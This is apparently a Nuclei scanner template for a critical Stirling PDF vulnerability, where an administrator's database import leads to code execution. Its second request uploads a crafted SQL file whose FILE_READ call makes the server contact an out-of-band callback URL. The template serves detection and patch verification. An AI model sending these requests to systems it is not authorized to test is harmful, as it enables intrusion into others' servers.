Stirling PDF <= 2.13.1 - H2 Database Import Remote Code Execution

id: CVE-2026-85714

info:
  name: Stirling PDF <= 2.13.1 - H2 Database Import Remote Code Execution
  author: Securin,AlanNewberry
  severity: critical
  description: |
    Stirling-PDF < 2.13.2 contains a command injection caused by insufficient SQL whitelist validation in DatabaseService.validateSqlContent(), letting authenticated administrators execute arbitrary OS commands via crafted SQL files, exploit requires admin authentication and default H2 database with security mode.
  impact: |
    Authenticated administrators can execute arbitrary OS commands as the JVM service account, leading to full system compromise.
  remediation: |
    Update to version 2.13.2 or later.
  reference:
    - https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-mrr8-934j-4g8m
    - https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-53mw-phj8-qw64
    - https://nvd.nist.gov/vuln/detail/CVE-2026-85714
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2026-85714
    epss-score: 0.03406
    epss-percentile: 0.8897
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 2
    vendor: stirling-tools
    product: stirling-pdf
    shodan-query: http.title:"Stirling PDF"
    fofa-query: title="Stirling PDF"
  tags: cve,cve2026,stirling-pdf,h2,rce,authenticated,default-login,oast,intrusive

variables:
  table: "{{to_lower(rand_text_alpha(10))}}"

http:
  - raw:
      - |
        POST /api/v1/auth/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {"username":"{{username}}","password":"{{password}}"}

      - |
        POST /api/v1/database/import-database HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: multipart/form-data; boundary=----NucleiStirlingBoundary

        ------NucleiStirlingBoundary
        Content-Disposition: form-data; name="fileInput"; filename="backup.sql"
        Content-Type: application/sql

        CREATE TABLE IF NOT EXISTS n_{{table}}(c CLOB);
        INSERT INTO n_{{table}} VALUES(FILE_READ('http://{{interactsh-url}}/{{table}}', NULL));
        INSERT INTO x_{{table}} VALUES(NULL);
        ------NucleiStirlingBoundary--

    extractors:
      - type: json
        name: token
        part: body_1
        internal: true
        json:
          - '.session.access_token'

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"
        condition: or

      - type: word
        part: body
        words:
          - "Backup verification failed"